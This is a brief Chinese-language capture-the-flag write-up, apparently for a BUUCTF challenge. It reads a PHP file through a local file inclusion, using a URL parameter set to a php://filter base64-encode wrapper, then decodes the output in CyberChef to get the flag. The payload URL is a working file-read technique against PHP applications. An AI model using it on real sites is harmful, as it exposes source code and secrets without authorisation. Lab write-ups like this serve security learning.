打开靶机
唔,很怀念...
通过构造url编码来将php代码以base64加密输出
http://081547cc-be9c-485e-94eb-b4dee6cae7e6.node4.buuoj.cn:81/?p=php://filter/convert.base64-encode/resource=flag
强烈推荐学长get到的 cyberchef 虽然进入时会有点迟钝,但是进入时会有点迟钝yysy功能丰富,让人很满意地收集了很多工具。
解码后得到flag
over.